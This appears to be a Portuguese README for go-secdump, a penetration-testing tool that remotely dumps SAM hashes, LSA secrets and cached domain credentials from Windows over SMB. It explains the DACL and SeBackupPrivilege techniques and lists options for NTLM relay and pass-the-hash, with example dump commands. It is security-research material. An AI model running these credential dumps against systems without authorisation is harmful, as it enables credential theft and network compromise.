
Ferramenta para despejar remotamente segredos do registro do Windows.
O pacote go-secdump é uma ferramenta criada para extrair remotamente hashes do hive SAM do registro, bem como segredos LSA e hashes em cache do hive SECURITY sem a necessidade de um agente remoto e sem tocar no disco.
A ferramenta é construída sobre a biblioteca go-smb e a utiliza para se comunicar com o Registro Remoto do Windows para recuperar chaves de registro diretamente da memória.
Foi desenvolvida como uma experiência de aprendizado e como uma prova de conceito de que deve ser possível recuperar remotamente os hashes NT do hive SAM e os segredos LSA, bem como as credenciais em cache do domínio, sem precisar primeiro salvar os hives de registro em disco e depois analisá-los localmente.
O principal problema a ser superado era que os hives SAM e SECURITY são legíveis apenas por NT AUTHORITY\SYSTEM. No entanto, notei que os administradores do grupo local tinham permissão WriteDACL nos hives de registro e, portanto, podiam ser usados para conceder temporariamente acesso de leitura a si mesmos para recuperar os segredos e, em seguida, restaurar as permissões originais.
No entanto, uma abordagem melhor foi descoberta (fevereiro de 2025) por Julien Egloff da Synacktiv. A requisição BaseRegOpenKey usada para abrir handles para chaves de registro tem uma opção para afirmar o SeBackupPrivilege, o que nos permite abrir as chaves de registro sem primeiro alterar as DACLs. A ferramenta foi atualizada para preferir essa nova abordagem e só alterar as DACLs se for solicitado explicitamente.
Grande parte do código neste projeto é inspirado/retirado do secdump do Impacket, mas convertido para acessar o registro remoto do Windows e acessar apenas as chaves de registro necessárias.
Algumas outras fontes que foram úteis para entender a estrutura do registro e os métodos de criptografia estão listadas abaixo:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
A ideia de usar SeBackupPrivilege veio da Synacktiv: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump
Usage: ./go-secdump [options]
options:
--host <target> Hostname or ip address of remote server. Must be hostname when using Kerberos
-P, --port <port> SMB Port (default 445)
-d, --domain <domain> Domain name to use for login
-u, --user <username> Username
-p, --pass <pass> Password
-n, --no-pass Disable password prompt and send no credentials
--hash <NT Hash> Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
-k, --kerberos Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
--dc-ip <ip> Optionally specify ip of KDC when using Kerberos authentication
--target-ip <ip> Optionally specify ip of target when using Kerberos authentication
--aes-key <hex> Use a hex encoded AES128/256 key for Kerberos authentication
--keytab-file <file> Authenticate using keys from a keytab file (implies -k). User and
domain are taken from the first keytab entry if not specified
--dns-host <ip[:port]> Override system's default DNS resolver
--dns-tcp Force DNS lookups over TCP. Default true when using --socks-host
--dump Saves the SAM and SECURITY hives to disk and
transfers them to the local machine.
--sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
--lsa Extract LSA secrets explicitly. Only other explicit targets are included.
--dcc2 Extract DCC2 caches explicitly. Only other explicit targets are included.
--misc Extract misc registry secrets such as the Winlogon
DefaultPassword explicitly. Only other explicit targets are included.
--modify-dacl Change DACLs of reg keys before dump.
Only required if keys cannot be opened using SeBackupPrivilege. (default false)
--backup-dacl Save original DACLs to disk before modification
--restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails.
--backup-file <file> Filename for DACL backup (default dacl.backup)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
-t, --timeout <duration> Dial timeout in format 5s or 2m (default 5s)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging. Bare --debug turns on every
registered package; --debug=msrrp,smb turns on only the
listed package-name suffixes (the '=' form is required
for the filter).
--verbose Enable verbose logging. Same filter syntax as --debug.
--debug and --verbose may be combined with different
filters; a package targeted by both gets the higher level.
--list-log-packages List the registered log package names that can be
targeted with --debug=<suffix> or --verbose=<suffix>,
then exit
-o, --output <file> Filename for writing results (default is stdout). Will append to file if it exists.
--output-format <fmt> Output format: text (default), json, or hashcat
--history Include historical (OldVal) LSA secrets in addition to current values
-q, --quiet Suppress informational headers; print only secrets
-v, --version Show version
Agora apenas como um recurso opcional habilitado com --modify-dacl,
o go-secdump tentará automaticamente modificar e depois restaurar as DACLs das
chaves de registro necessárias. No entanto, se algo der errado durante a parte
de restauração, como uma desconexão de rede ou outra interrupção, o registro remoto
ficará com as DACLs modificadas.
Usando o argumento --backup-dacl é possível armazenar uma cópia serializada das
DACLs originais antes da modificação.
Se ocorrer um problema de conectividade, as DACLs podem ser restauradas posteriormente do arquivo
usando o argumento --restore-dacl.
Despejar todos os segredos do registro usando o truque SeBackupPrivilege
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
Despejar apenas segredos SAM, LSA, cache DCC2 ou misc do registro
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc